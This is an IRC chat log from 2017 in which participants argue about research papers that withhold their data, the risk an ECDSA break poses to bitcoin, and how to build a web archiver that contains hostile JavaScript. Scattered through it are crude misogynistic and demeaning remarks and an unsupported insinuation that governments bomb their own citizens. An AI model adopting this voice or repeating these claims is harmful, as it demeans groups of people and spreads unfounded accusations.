1637816;1491403056;mircea_popescu;Framedragger what stretch ? i did an "early publication" of my research! was worth jack shit to you! 1637817;1491403059;mircea_popescu;there's no stretch. 1637818;1491403082;Framedragger;to remark in jest, this makes my own work more easier because i can dismiss any cs papers relevant to $work if they deal with data but do not also publish data. "not science, boss!1" 1637819;1491403099;asciilifeform;or suppose asciilifeform threw his priv p,q to the crowd at his hanging. then henninger goes to another town , where they have nfi, and 'hey folx!! i broke this evildoer's rsa key!!! with new! algo' 1637820;1491403206;asciilifeform;Framedragger: unless you are in academia racket yourself, and get paid to participate in the idiot kakubi where 'i'll pretend your crapola has relation to reality, you -- pretend that mine does' -- you can safely ignore such 'research', yes 1637821;1491403207;mircea_popescu;and since we're discussion princeton : i wasn't going to say anything (which is why i didn't back then), but when some guy found metallic H ( see http://btcbase.org/log/2017-03-17#1628809 ) princeton idiots came with a replicating experiment and have been trying to replace the original author with themselves ever since. which is just about as shameful. 1637822;1491403207;a111;Logged on 2017-03-17 15:23 mircea_popescu: https://arxiv.org/abs/1610.01634 1637823;1491403216;asciilifeform;no data -- not research. 1637824;1491403236;asciilifeform;i had nfi that this was a deep and difficult hurdle for anybody here. 1637825;1491403238;Framedragger;asciilifeform: i guess may as well try, hm 1637826;1491403251;mircea_popescu;of course replicating experiments are done all the time ; the important point being that they didn't identify theirs as such. 1637827;1491403271;mircea_popescu;(how not ? by not citing. hurr.) 1637828;1491403311;mircea_popescu;so it's not like i'm discussing "isolated incident". there's a very well established pattern of dishonest behaviour. not just at princeton, either. 1637829;1491403318;shinohai;Kickin' it Hanno style 1637830;1491403318;Framedragger;last note mircea_popescu, paper in question does acknowledge the fact that as regards rsa factorisation, their attempt is a *replication* (unless i misread). but yes, should be beaten for not mentioning phuctor. 1637831;1491403327;asciilifeform;or the xray-from-scotchtape thing. (minor find, but exemplary of 'ru untermenschen can be safely stolen from') 1637832;1491403354;asciilifeform;Framedragger: the entire purpose of that paper is to pour cement over phuctor. 1637833;1491403361;Framedragger;whaaat. 1637834;1491403369;mircea_popescu;Framedragger how the forklet of frauds is constructed exactly is of no interest. yes they keep coming up with mealy-mouthed ways to try and hide the fact that they';re dishonest. fine. 1637835;1491403370;asciilifeform;if you cannot see this -- i cannot help. willful blindness. 1637836;1491403388;Framedragger;right. (i think this concludes this discussion. i'm doing some mental gymnastics which are ~pretty shitty (i'm not ready to dismiss all research prima facie which may not link to raw data, and/or may have failed to mention prior art), and i will get rid of them sooner or later, but not yet. thanks for indulging.) 1637837;1491403413;mircea_popescu;"oh, we said we were a replication -- just, not of the right thing!" , typical americana "this will hold until someone looks at it". from the legal system to everywhere else, country's chock full of that hopeful nonsense. 1637838;1491403435;mircea_popescu;Framedragger not like you have to, ever. for as long as you find it pays for you, by all means. 1637839;1491403442;mircea_popescu;i don't find it pays for me. 1637840;1491403469;mircea_popescu;not a matter of some grandstanding oughts here. very cold calculation, it just dun pay. ymmv. 1637841;1491403739;ben_vulpes;http://btcbase.org/log/2017-04-05#1637836 << it's basically the only criteria, it's why thinking people throw out the climate simulacra 1637842;1491403739;a111;Logged on 2017-04-05 14:43 Framedragger: right. (i think this concludes this discussion. i'm doing some mental gymnastics which are ~pretty shitty (i'm not ready to dismiss all research prima facie which may not link to raw data, and/or may have failed to mention prior art), and i will get rid of them sooner or later, but not yet. thanks for indulging.) 1637843;1491403781;ben_vulpes;"138kloc of cpp written by grad students? that i can't have? that only runs on golden toilet supercomputer? mmmok" 1637844;1491403838;mircea_popescu;eh, people get actual climate datasets all the time, end up exposing "data regularization" in the sense of "our definition of average ocean temperature is = largest measured +3, wut, problem??" it gets reported, people who can think read, people who can't think upvote each other on hn, etc. 1637845;1491403989;ben_vulpes;there is that, doesn't change that sim is unpublished part of system on basis of which claims are being made 1637846;1491404021;mircea_popescu;yeah. well, it got force-published once, to much "unhappened" hangwringing and posturing. 1637847;1491404045;mircea_popescu;was the lulz of all time, too. ~excel calculation. 1637848;1491404207;mircea_popescu;http://btcbase.org/log/2017-04-05#1637792 << this for the record is quite false. there's a lot of research published, up until when the "our democracy" imbeciles saw themselves in the position of "running things" and they came up with the current pseudo-academic nonsense. i suppose "bologna system" +- a decade or two. 1637849;1491404207;a111;Logged on 2017-04-05 14:32 Framedragger: that's a great stance of course, but i do believe that this disqualifies all but, i don't know, to speculate, "30" publications SINCE THE BEGINNING OF TIME 1637850;1491404216;mircea_popescu;(for they who don't know, bologna is how you say baloney.) 1637851;1491404271;ben_vulpes;BingoBoingo: "of under the" 1637852;1491404291;*;diana_coman sees a bit of a younger Diana's shock along the lines of "it can't really be true that 99% of the world I live in is actually rotten to the core" on re-reading Framedragger's replies 1637853;1491404378;Framedragger;maybe. :) i'm aware that most of it is ~crap, but this is more like "99.99%" vs. 99%. also, i'll make a note to check if feynman included data in any publications which dealt with data (i.e. not only pure models.) 1637854;1491404393;BingoBoingo;ty fxd ben_vulpes 1637855;1491404417;asciilifeform;Framedragger: feynman was a ~theorist~ 1637856;1491404420;mircea_popescu;i'd like to hear the return of that. 1637857;1491404425;mircea_popescu;asciilifeform nah he did some safecracking work 1637858;1491404434;asciilifeform;lolyes 1637859;1491404450;mircea_popescu;it's a well chosen example. he might well not have. because "o noes, laws". 1637860;1491404453;asciilifeform;and collegues'wifefucking 1637861;1491404456;Framedragger;and did calculations on computor, too (but not sure if relevant to any research) 1637862;1491404483;mircea_popescu;anyway, the most this'll do is make feynman more dubious, not the anti-principle more acceptable. 1637863;1491404492;Framedragger;yesyes that i understand. :) 1637864;1491404509;mircea_popescu;but not a bad review, certainly not wasted time imo. 1637865;1491404516;Framedragger;"on review, legit science is 19 publications" 1637866;1491404521;diana_coman;Framedragger, if it adds up to "only 30 papers in TOTAL" it means you are not going back long enough really 1637867;1491404541;mircea_popescu;may be "30 papers since 2016ish" 1637868;1491404554;mircea_popescu;eg the one in fundamental physics i quoted above does include. 1637869;1491404595;mircea_popescu;it's not like genuine science isn't made by genuine scientists. the pretense to the contrary is the other half of the scum delusion. cannonically "you have no option BUT to build raft out of lcd". 1637870;1491404605;mircea_popescu;that thing is of two parts : a) broke your house and b) there's nothing else. 1637871;1491404630;mircea_popescu;defeating a does not mean i'll now accept b, the whole fucking point is to extirpate the empire of stupid, not to drive in one branch by the measure driving the other out. 1637872;1491404716;mircea_popescu;this, incidentally, is how the middle class ended up poor : "a) we are living above our means and headed for bankruptcy, but b) our means are so disproportionate to our living by now that attempting to live within our means can not be called living!!1" 1637873;1491404731;mircea_popescu;supposedly this is an unsolvable dilemma, at least for any housewife that's never met the whip. 1637874;1491405131;asciilifeform;naggum had interesting piece re subj, http://www.xach.com/naggum/articles/3144868668727852@naggum.no.html 1637875;1491405254;mircea_popescu;actually the first quote in there is vaguely covered in eg http://btcbase.org/log/2017-03-29#1633686 1637876;1491405254;a111;Logged on 2017-03-29 06:59 mircea_popescu: they drew the conclusion that optionality is not enough, and work safety must be provided through regulation. 1637877;1491405265;mircea_popescu;this is a fundamental problem in humans, that they'll take overdangerous work. 1637878;1491405292;mircea_popescu;amply documented (though mostly in early 1900s work, so i guess from a certain perspective lost by now) 1637879;1491405317;asciilifeform;that ain't a problem. it's how the poison cherries get tasted, oceans -- explored, embrasures -- plugged 1637880;1491405324;mircea_popescu;pretty much. 1637881;1491405331;asciilifeform;problem is the modern 'everybody's a winner' nonsense. 1637882;1491405337;asciilifeform;not the risk-taking. 1637883;1491405339;mircea_popescu;it's (unsurprisingly) a male trait, and a young'un trait, which explains other things too 1637884;1491405369;mircea_popescu;asciilifeform i didn't mean problem as in "bad thing to fix" i meant problem as in "legitimate topic" 1637885;1491405379;asciilifeform;aah 1637886;1491405422;mircea_popescu;it's for instance one of the best bio-based challenges to say rational economic agent theory. 1637887;1491405462;asciilifeform;people ain't entirely not-bees, noose at eleven. 1637888;1491405486;mircea_popescu;see, this is what i mean by problem : it's not even clear if this is a more-bee or less-bee characteristic! 1637889;1491405515;asciilifeform;embrasure-plugger ~= bee 1637890;1491405531;mircea_popescu;bee takes no risks. got its recipe, follows it. 1637891;1491405561;asciilifeform;the risk taken by soldier is just as imaginary an object. 1637892;1491405583;mircea_popescu;this can be argued. but then again ~all war literature proposes the contrary 1637893;1491405590;mircea_popescu;(i mean here, 1st person accounts, no wankery) 1637894;1491405590;asciilifeform;if bee could 'hamsterize' like a human coward, would think same thought 1637895;1491405648;asciilifeform;what i mean is, 'risk' is an item just like, e.g., negative integers 1637896;1491405668;asciilifeform;in reality, you're either mained/killed , or not. 1637897;1491405681;asciilifeform;see also everett... 1637898;1491405687;mircea_popescu;asciilifeform so is your proposition that "marry good man ; make him good children" = same thought any bee'd think if born of Γιατί μόνο εσείς, οι Λάκαινες, έχετε εξουσία πάνω στους άνδρες ? 1637899;1491405700;asciilifeform;aha 1637900;1491405708;mircea_popescu;i can't evaluate this./ 1637901;1491405725;asciilifeform;*maimed 1637902;1491405858;mircea_popescu;incidentally, a couple of people asked for details and i linked them the logs, if noobs show up do me a favour and up'em. 1637903;1491408246;ben_vulpes;http://btcbase.org/log/2017-04-05#1637554 << why is pubkey being known so bad? 1637904;1491408246;a111;Logged on 2017-04-05 13:04 mircea_popescu: http://btcbase.org/log/2017-04-05#1637547 << you certainly need the pubkey of the input address, which was back in the day the rationale behind the whole "don't reuse addresses" thing -- the pubkey of an address which has paid before is known ; the pubkey of an address which has not paid before isn't known. 1637905;1491408418;asciilifeform;ben_vulpes: the traditional explanation is, 'ecdsa break fucks people with known pubkeys, but not those for whom only hash is known' 1637906;1491408432;asciilifeform;ftr i disagree, it'll fuck everyone who is sitting on bitcoin 1637907;1491408453;asciilifeform;just not with same end of the dildo 1637908;1491408494;asciilifeform;the traditional notion is 'ecdsa breaks ? folx who have hash-only outputs can simply use them as lamport signatures' 1637909;1491408498;asciilifeform;but this is dubious imho. 1637910;1491408643;asciilifeform;it is a little bit like saying 'if nsa finds algo that breaks 70% of ecdsa keyspace, the remainder is still ok and 30% of bitcoin addrs will remain safe, bitcoin lives on' 1637911;1491408691;ben_vulpes;as soon as one attempts to spend from one of those hashed addresses you're in a race with everyone to get the txn confirmed though 1637912;1491408708;ben_vulpes;i dunno how ecdsa break is not bullet for btc 1637913;1491408719;asciilifeform;bullet. 1637914;1491410642;Framedragger;http://btcbase.org/log/2017-04-05#1637536 << worthy project i think :) 1637915;1491410642;a111;Logged on 2017-04-05 03:19 lobbes smells a tmsr archive server in the future 1637916;1491410696;asciilifeform;Framedragger: imho it is tricky: you can't simply 'curl' or 'wget', gotta somehow render crapolade if caching heathen sites 1637917;1491410712;asciilifeform;and also not very useful without a secret (uci!11) net of proxies 1637918;1491410718;Framedragger;yeah yeah, and i recall discussion about how archive.is does this (phf had some notes), etc.; it's quite icky. 1637919;1491410728;Framedragger;hm yeah. 1637920;1491410788;Framedragger;all doable, but relatively tricky (of the icky kind, i.e., one has to try out some things, and will end up with a set of semi-hacks due to webstack being one large hack.) 1637921;1491410790;asciilifeform;i can think of 1 fairly easy method for rendering (there is , iirc, a 'headless chromium' or something like) but the problem is that if you run it on bare iron, it'll be perma-owned. 1637922;1491410820;asciilifeform;ideally you want it running in a qemu-like thing with randomly-generated instruction set. and that reverts to known bitstate on every shot. 1637923;1491410852;Framedragger;asciilifeform: known bitstate, you mean, a unique fingerprint exposed to websites? 1637924;1491410874;asciilifeform;no 1637925;1491410876;asciilifeform;i meant machine state 1637926;1491410881;asciilifeform;contents of ram and cpu registers. 1637927;1491410957;Framedragger;ah. well, i can imagine a fleet of VMs (on an ok-to-be-pwned, of course) emulating browser for this. 1637928;1491410972;asciilifeform;that'd be the naive implementation , yes 1637929;1491410985;asciilifeform;in practice there is an immediate problem , long before it gets owned, even 1637930;1491410993;asciilifeform;astronomical expense under heavy use (and/or abuse) 1637931;1491411024;Framedragger;this was addressed, no? restrict to in-channel use, and/or l1+l2 or something or other. 1637932;1491411058;Framedragger;archive.is already serves the "for the all peoples" function. 1637933;1491411063;Framedragger;all the* 1637934;1491411087;Framedragger;ok-to-be-pwend box* 1637935;1491411095;asciilifeform;'in channel use' is problematic, because enemy then knows what is being archived. 1637936;1491411101;asciilifeform;there is NO reason to tell him ahead of time. 1637937;1491411136;Framedragger;enemy which knows and tracks this but which is not capable of extracting/tracking current requests to archive.is? 1637938;1491411143;Framedragger;also, private message access. 1637939;1491411167;asciilifeform;i'd like to see ~less~ reliance on ictronic quasiauthentication, not more. 1637940;1491411169;asciilifeform;*irc 1637941;1491411184;Framedragger;hey, who wouldn't, brother 1637942;1491411210;Framedragger;thing is, the irc wrapper on top of gpg challenge-response is *thin* (at least in, say, scriba), and easily removable/changeable. 1637943;1491411253;Framedragger;but i guess you're saying that this particular archiver would rely on irc state (otherwise quite cumbersome to do challenge-response per every url request), which of course is quite bad. 1637944;1491411291;Framedragger;but then if things are coded correctly, it shouldn't be hard to swap irc for gossipd later, imho 1637945;1491411348;Framedragger;i.e., the interface of the 'is_this_request_coming_from_legit should not be too irc-specific. 1637946;1491411622;Framedragger;can also make irc-independent endpoint (http or w/e) which does WoT gpg challenge-response. prototype would speak a thousand words though, i suppose. :) 1637947;1491411709;Framedragger;^ re. endpoint, oops no need for *challenge*, just a specific format for gpg-signed msg. (this is basically mpex interface, i guess.) 1637948;1491412936;asciilifeform;the js crapolade problem is also imho serious. 1637949;1491412956;asciilifeform;i even suspect that the closest thing to a final solution would be the extract a ~bitmap~ from simulated browser, and then embed OCR info ! 1637950;1491412967;asciilifeform;rather than to try to get the text out in the customary way. 1637951;1491412998;asciilifeform;the most egregious heathens ('mainstream media' organs etc) worked quite hard to make their www ~unarchivable, and largely -- succeeded 1637952;1491413018;phf;that's what archive.is technically does. the js problem is "solved" by letting the jser do it's thing and get the ~dom~ into some state. archive.is actually stores the resultant dom rather than original html 1637953;1491413026;asciilifeform;(turn off js, and the text -- vanishes. store the js without executing -- the archive READER will attempt to load it ! from enemy ! ) 1637954;1491413061;asciilifeform;phf: this works when it works. 1637955;1491413071;asciilifeform;lately i've been seeing sites that yield a blank archive.is page. 1637956;1491413076;asciilifeform;more and more often. 1637957;1491413160;Framedragger;curious if latter is due to js emulator not being 'good enough', or blacklisting (who dares archive us!1) 1637958;1491413163;phf;i've been browsing the web using dillo/netserf from openbsd box and realized just how broken it become compared to even 5 years ago. only places that you can still render on old browser are the backalleys. uncle al style homepages, tmsr, *chans 1637959;1491413174;asciilifeform;aha 1637960;1491413192;asciilifeform;if you want, whichever, the beobachter, or even 'arse technica', etc -- fuhgetit 1637961;1491413222;phf;Framedragger: in case of archive.is there's no "js emulator". it's proper js. usually what happens is that your browser sends various events when the network load is complete, and the dom is rendered 1637962;1491413243;phf;after the events though there's still potentially a few ticks while js assembles the page 1637963;1491413264;phf;customary you put a few second timeout, but even that might not be enough 1637964;1491413288;Framedragger;hmm. i suddenly became concerned with potential failed archival requests from scriba - will check log (iirc not many failures, tho - otherwise would know.) 1637965;1491413307;asciilifeform;no, no reason it would be obvious 1637966;1491413315;asciilifeform;plenty of things just happily serve up a blank page to the archiver. 1637967;1491413344;Framedragger;asciilifeform: i sometimes check "archived sites" log (separate file) and it looks ~healthy (but no deep inspection). 1637968;1491413355;Framedragger;ah *that*; i see what you mean 1637969;1491413360;Framedragger;hrm. 1637970;1491413373;Framedragger;but this web 1637971;1491413375;phf;also, these days you have js packing frameworks (like browserify) doing frontend on-demand js loads, which means that ~browser~ doesn't know when page load is complete. you get "lightweight" pages, that don't actually have anything until 8mb of javascript gets its shit together. 1637972;1491413375;Framedragger;fuck* 1637973;1491413411;asciilifeform;phf: recall, recent lulznews item, a certain lamestream news www uses 100MB/hr while page open 1637974;1491413448;Framedragger;this is PTSD material 1637975;1491413532;Framedragger;so, if tmsr were to have its own archiver, i don't think archive.is' approach is the way to go, even though it is (arguably, maybe) the most 'reliable' / 'true' (actual js rendering in browser). exposing user to JS defeats half its purpose. imho. 1637976;1491413546;doppler;"constantly horrified" is my universal internet status 1637977;1491413556;Framedragger;:/ 1637978;1491413563;asciilifeform;Framedragger: imho a more reasonable thing would be a command line thing, a kind of augmented curl, that yields a tarball 1637979;1491413565;phf;Framedragger: you don't have to expose the user to js with archive.is approach 1637980;1491413569;asciilifeform;which l1 folx can then sign and upload. 1637981;1491413604;asciilifeform;this would solve the 'blocked ip' problem. but at the same time introduce new ones. 1637982;1491413607;Framedragger;phf: you mean, js rendering done server-side? sorry i got confused i guess 1637983;1491413619;asciilifeform;i don't actually know of a sane way to do this job. which is why i have not ever attempted to do it. 1637984;1491413628;asciilifeform;problem might not have a sane+general solution. 1637985;1491413638;mircea_popescu;the "insulate from js" is absolutely major. 1637986;1491413671;asciilifeform;^ 1637987;1491413693;mircea_popescu;ben_vulpes it's not measurably bad. theoretically it weakens the problem of "spend somone else's inputs". 1637988;1491413696;phf;Framedragger: yes, archive.is is a headless webkit. it loads the page with all the resources, it lets the javascript run until the DOM is in some "final" state, it snapshots the DOM. at this point you no longer need javascript to further render page 1637989;1491413703;asciilifeform;and not merely from the 'js 0day' pov !! 1637990;1491413709;asciilifeform;but ~strictly~ from an archivist's 1637991;1491413711;Framedragger;asciilifeform: standalone command line program makes sense indeed (and can be 'wrapped' in web/irc service if need be, later) 1637992;1491413716;asciilifeform;i.e. a js-containing turdball is not self-contained 1637993;1491413721;asciilifeform;can be remote-manipulated at a later date. 1637994;1491413738;asciilifeform;(today it calls load_party_line_from_washinton() and it gets one thing; tomorrow -- another) 1637995;1491413750;Framedragger;phf: ah, but i meant the initial rendering phase - the 'archive this plz' process itself. but thanks for clarifying yeah 1637996;1491413757;mircea_popescu;ah i see alf addressed. it's an exercise in typical expertsexchange wankery, total misunderstanding of engineering etc. 1637997;1491413761;asciilifeform;the js, if it executes (and to archive heathenry, it generally must) must execute ONCE. 1637998;1491413769;asciilifeform;and preferably in a designated public toilet 1637999;1491413773;phf;Framedragger 1638000;1491413775;phf;err 1638001;1491413787;mircea_popescu;asciilifeform aha, hence headless etc. 1638002;1491413790;Framedragger;asciilifeform: as phf said, archive.is output does not contain js. just to clarify. 1638003;1491413804;asciilifeform;yeah, i suspect that it is built along the lines described earlier 1638004;1491413820;phf;doesn't have to contain rather. i'm sure they don't scrape it diligently enough. 1638005;1491413827;Framedragger;myeah 1638006;1491413832;asciilifeform;but consequently suffers other problems (it is trivially blocked, and is in fact trivially distinguishable in real time from 'civilian' browser) 1638007;1491413859;mircea_popescu;asciilifeform> ideally you want it running in a qemu-like thing with randomly-generated instruction set. << this may be overkill. could as well run it in a rom-os machine or something. 1638008;1491413902;asciilifeform;i (with handful of other folx) once built exactly such a machine, for executing winblowz virii 1638009;1491413909;asciilifeform;it wasn't cheap, or simple, or +ev. 1638010;1491413911;mircea_popescu;aha 1638011;1491413956;mircea_popescu;asciilifeform the ocr idea is miserable, sadly, because so many glyphs and nonsense. 1638012;1491413975;asciilifeform;i wonder what the state of the art for blind folx is. 1638013;1491413984;asciilifeform;could try picking up ~that~, and reusing. 1638014;1491413998;phf;state of the art for blind folx is misserable. 1638015;1491414029;asciilifeform;what if you were to use a patched glyph renderer ? 1638016;1491414035;asciilifeform;machine-wide. 1638017;1491414039;Framedragger;i can ask one such folk ('camlorn on #libaudioverse - has his own 3d audio library, competent at what he does). i recall him explaining the shitshow that was getting cs degree by translating cs paper pdf (horror) 1638018;1491414056;phf;basically agent on top of internet explorer/others that, with a specially annotated page (ARIA standard) can make the experience usable 1638019;1491414059;asciilifeform;anything that asks a glyph to be drawn on the raster display -- instead ends up creating a 'haha, glyph G was asked for' record. 1638020;1491414069;asciilifeform;and fuck the display. 1638021;1491414080;Framedragger;asciilifeform: best software / environment by his recollection was on windows, which was sadnews 1638022;1491414146;phf;asciilifeform: that is not though how rendering works on "modern os". unlike x there's no central authority on glyph rendering. instead you have layers of surfaces that each app manages on its own. 1638023;1491414148;Framedragger;^ sorry meant "*math* paper pdf" (think, formula in shit format). eughhh 1638024;1491414169;asciilifeform;phf: at some point it invokes the truetype engine, neh 1638025;1491414172;asciilifeform;so you catch it there. 1638026;1491414181;mircea_popescu;phf> state of the art for blind folx is misserable. << about same as in 1997. 1638027;1491414182;asciilifeform;find all copies of it and patch'em all. 1638028;1491414223;mircea_popescu;Framedragger does "jaws" still work/exist ? 1638029;1491414227;phf;but it doesn't invovoke truetype ~as one last pass~. instead you have fifty different truetype invocations to lay out a small surface, that's placed into an hierarchy of such surfaces 1638030;1491414232;mircea_popescu;^ 1638031;1491414242;mircea_popescu;i even linked some lulz re idiot font loading in wwwturds. 1638032;1491414272;Framedragger;mircea_popescu: not familiar / wouldn't know. my exposure to the whole thing was literally just "found relevant library; hop on irc to ask the author; chat for a while; realise he's blind; ask about his experience" 1638033;1491414280;mircea_popescu;a ok. 1638034;1491414325;mircea_popescu;i suspect alf is blessfully unaware of what utter shitshow fonts / glyphs are irl. and bid him keep his innocence 1638035;1491414330;mircea_popescu;for it gave other men ulcers. 1638036;1491414334;Framedragger;(http://camlorn.net/pages/resume.html for curious) 1638037;1491414368;doppler;too bad web developers ever received the power to control the rendering of their sites so closely 1638038;1491414372;asciilifeform;mircea_popescu: actually i have a fairly accurate idea. but last time i opened the reactor cover, at least there was ~1~ copy of truetype shitfest running per box... 1638039;1491414393;mircea_popescu;doppler but you know, when people get self-determination and the right to make their own decisions, everything improves. 1638040;1491414408;mircea_popescu;asciilifeform not the case anymore afaik. 1638041;1491414428;doppler;what about the website-viewer's right to make their own decisions? 1638042;1491414437;doppler;it goes both ways 1638043;1491414446;mircea_popescu;sorry i can't hear you over the sound of hillary clinton's pantsuit. 1638044;1491414454;phf;asciilifeform: there's ~one~ true type library, but it's called at random times to render a small part of the page, so by simply following the invocations you won't be able to reconstruct how the individual results fit into the on-screen 1638045;1491414542;mircea_popescu;phf provided eg "java runtime fonts" aren't there on top of x11-fonts etc 1638046;1491414544;phf;a sentence like "hello world this is test" might get an invocation like render("world this") followed by render("hello") followed by render("is test"), simply because higher level widget engine decided that's the order of exposure, or hierarchy, or whatever 1638047;1491414561;asciilifeform;pdfization, more or less, sounds like. 1638048;1491414575;asciilifeform;'wanna know the output? run this massive turing-complete barrel of shit' 1638049;1491414585;mircea_popescu;it's the way of the future ; everything is connected etc. 1638050;1491414598;phf;right, not to mention competing rendering engines ("system wide library doesn't kern glyphs the way our ui designer thinks is appropriate so we do it ourselves!!1") 1638051;1491414607;mircea_popescu;right. 1638052;1491414631;mircea_popescu;(this happens a lot more than anyone sane would on his own power imagine) 1638053;1491414668;mircea_popescu;"why THE FUCK do you want to mess with the fonts" "because we truly have nothing to do with our time" "Do you understand reading speed decreases 3x if the reader has to deal with unfamiliar typefaces ?" "uuga booga" 1638054;1491414694;mircea_popescu;half literate fucktards, all typefaces are new to them all the time. 1638055;1491414704;asciilifeform;'and, bonus! evil TERRORISTS! can't archive it!' 1638056;1491414728;*;CompanionCube sometimes wishes we could banish entirely-JS 'websites' from the face of the earth 1638057;1491414744;asciilifeform;which is why i half-seriously suggested 'archiver oughta be a rack of instrumented ipads and ocrtron' 1638058;1491414763;asciilifeform;it's the only way to 'perma-archive EXACTLY what plebes see'. supposing that is a design goal. 1638059;1491414783;mircea_popescu;im not sure it's a design goal. 1638060;1491414784;doppler;I'm so glad flash player sites are mostly gone now, but JS has just taken its place really 1638061;1491414792;mircea_popescu;im not even sure wtf the design goals would be, which is why we're wallowing 1638062;1491414804;asciilifeform;precisely, it's why asciilifeform has not touched the problem. 1638063;1491414808;asciilifeform;not sure it ~is~ a problem. 1638064;1491414817;CompanionCube;asciilifeform: problem is that ipads will display different to desktop 1638065;1491414819;asciilifeform;the actual problem may be something else. 1638066;1491414823;CompanionCube;and since you will most likely want desktop version... 1638067;1491414824;mircea_popescu;doppler flash is stiull live and well in the "browsere games" niche. heck, adobe recently made new linux flash (after years of stfu) 1638068;1491414838;asciilifeform;mircea_popescu wants to archive browser-tetris ?! 1638069;1491414856;mircea_popescu;well i didn't want to archive "artists" flash bs in 2007 either 1638070;1491414863;doppler;haha 1638071;1491414863;asciilifeform;the use of 'flash' to output ~text~ articles -- has, afaik, mercifully, died. 1638072;1491414874;doppler;^-- that's what I was referring to. 1638073;1491414877;mircea_popescu;honestly i'm not even sure i actually want to archive, eg, fake news sites. 1638074;1491414902;asciilifeform;that's largely what archivetron was ~for~, to date, neh 1638075;1491414910;mircea_popescu;neh. 1638076;1491414913;asciilifeform;a pill against memory hole. 1638077;1491414935;CompanionCube;flash-for-games is at least personally 1638078;1491414938;CompanionCube;tolerable 1638079;1491414938;mircea_popescu;at least to my eyes, archiving to date was there to provide a sort of cheaper and lighter deedbotting for webpages. 1638080;1491414950;mircea_popescu;but the majority of those webpages were republican rather than imperial. 1638081;1491415034;mircea_popescu;i suppose this is part of the problem of "wtf were the design goals again ?" -- swiss knife syndrome, many things for many people at many different times. 1638082;1491415146;asciilifeform;'deedbot for arbitrary www links' sounds like the right thing. 1638083;1491415154;asciilifeform;but in practice is monstrously gnarly. 1638084;1491415203;mircea_popescu;yeah. it sounds like the right thing but in the process of so sounding hides under a welded shut hood all the design trade-offs which'll need to be made. 1638085;1491415217;mircea_popescu;else any random rustard can throw a wrench in your whole thing. "gotta support fdlkgjkldfjl!!~11" 1638086;1491415223;Framedragger;(i suppose an imperfect ('may fail on particularly gruesome imperial sites', say) prototype as a *standalone command line program* would make sense.) 1638087;1491415243;mircea_popescu;Framedragger would be nice, but conceivably you'd be stuck bolting js to links or such 1638088;1491415262;Framedragger;not necessarily. 1638089;1491415265;Framedragger;!#s selenium 1638090;1491415266;a111;14 results for "selenium", http://btcbase.org/log-search?q=selenium 1638091;1491415276;mircea_popescu;ah interesting 1638092;1491415280;CompanionCube;isn't that for automatic website testing 1638093;1491415285;CompanionCube;doesn't seem that good of a fit 1638094;1491415296;asciilifeform;selenium + civilian wwwbrowser is 1 way. 1638095;1491415299;Framedragger;we use it for website-with-loads-of-js-logic scraping 1638096;1491415304;asciilifeform;has obvious problems (massive cpu expense, and cleanup) 1638097;1491415315;Framedragger;worx. (heavier than scrapy in that can handle 'need js to click on 'next' button' logic) 1638098;1491415319;Framedragger;asciilifeform: tru. 1638099;1491415337;asciilifeform;i have a cl interface to selenium written from some years ago, i used it to cheat spammers 1638100;1491415368;Framedragger;CompanionCube: that's just one use case, to be clear 1638101;1491415374;asciilifeform;it's only a 'remote control' for traditional www browser. 1638102;1491415380;Framedragger;(and that use case existing is good signal in this case) 1638103;1491415410;mircea_popescu;i suppose in principle could exist as an "proper archival browser extension". i suppose very close to what ppl like browsershots etc do 1638104;1491415446;mircea_popescu;part of the problem being that common browser instructed to "Save page" will proceed to save the html rather than the dom, or however you call the ast in www. 1638105;1491415582;Framedragger;quite sure that it's possible to dump dom in selenium but in any case, yes dumping it seems like a prerequisite, like what archive.is does and what phf said above 1638106;1491415586;mircea_popescu;danielpbarron what format is the mysql database stored as, sql ? its native binary whatever it is ? 1638107;1491415598;mircea_popescu;Framedragger quite yeah. 1638108;1491415637;mircea_popescu;danielpbarron for the record it's snippet not snippit 1638109;1491415668;asciilifeform;the loading per se, with civilian browser + e.g., selenium, is trivial. the ~cleanup~ (run in vm? restore state how ?) is the tricky bit. 1638110;1491415787;Framedragger;asciilifeform: do you mean that "single archive request handled by dedicated process which terminates at end of request" wouldn't be enough in terms of cleanup? (due to js as vector of attack to machine?) 1638111;1491415805;mircea_popescu;somethinglikethat 1638112;1491415818;asciilifeform;aha. 1638113;1491415833;asciilifeform;running a js is like fucking hiv whore. 1638114;1491415850;asciilifeform;yes, will take you 9001 shots for the roulette revolver to fire. 1638115;1491415857;asciilifeform;in the end you're just as dead. 1638116;1491415858;mircea_popescu;more liek being the whore. 1638117;1491415937;mircea_popescu;o hey, leningrad metro blew up yest 1638118;1491415940;Framedragger;i wonder if "can run archive requests on 'uncleaned' (i.e.: already possibly infected) VM" could be allowed for. it's not exactly a gpg-signed-msg timestamping service. 1638119;1491415945;asciilifeform;mircea_popescu: day before 1638120;1491415949;asciilifeform;major wank there, also 1638121;1491415953;mircea_popescu;ah 1638122;1491415959;Framedragger;mircea_popescu: lenin returned to russia 100 years ago in april. COINCIDENCE? 1638123;1491415960;asciilifeform;'usg did it!1' 'putler did it!11' etc 1638124;1491415965;mircea_popescu;o.O 1638125;1491415975;mircea_popescu;can lenin burning melt steel ? 1638126;1491415978;asciilifeform;sop narrative, the pantsuit folx are automagically 'putler did it' 1638127;1491415983;asciilifeform;before the corpses cold, even. 1638128;1491416018;CompanionCube;why would putin bomb their own place like that 1638129;1491416024;phf;http://btcbase.org/log/2017-04-05#1638105 << dumping dom is not hard (it's innerhtml attribute on document.body/head), extracting images/objects is harder. used to be able to do it using canvas, but not there's security provisions. you literally have to go into the browser's cache (via internal apis) to got the graphic, etc. back. or else redownload, which is rife with potential issues 1638130;1491416024;a111;Logged on 2017-04-05 18:06 Framedragger: quite sure that it's possible to dump dom in selenium but in any case, yes dumping it seems like a prerequisite, like what archive.is does and what phf said above 1638131;1491416026;mircea_popescu;wait, putin bombed his own loyal subjects ? what is he supposed to be, bahamas ? 1638132;1491416029;asciilifeform;CompanionCube: same reason bush did ? 1638133;1491416046;mircea_popescu;i dunno "same reason ustard did it" applies outside of "the country" 1638134;1491416053;CompanionCube;asciilifeform: but putin wouldn't get much more power unlike bush 1638135;1491416070;Framedragger;phf: ugggghhh. (now i recall you possibly mentioning this in relation to archive.is; i see i see.. that's what they do) 1638136;1491416075;mircea_popescu;phf o whoa 1638137;1491416157;phf;Framedragger: right, you have dom, you have running javascript, can do all kinds of things to dump/before dump. what you don't have through any legitimate means is the byte sequence for a linked object. at least with headless webkit (via Qt) you can instrument cache with special methods that would give you that data. selenium not at all 1638138;1491416198;Framedragger;yes i see. amazing. 1638139;1491416235;Framedragger;ty for fixing model in head. even more sad now 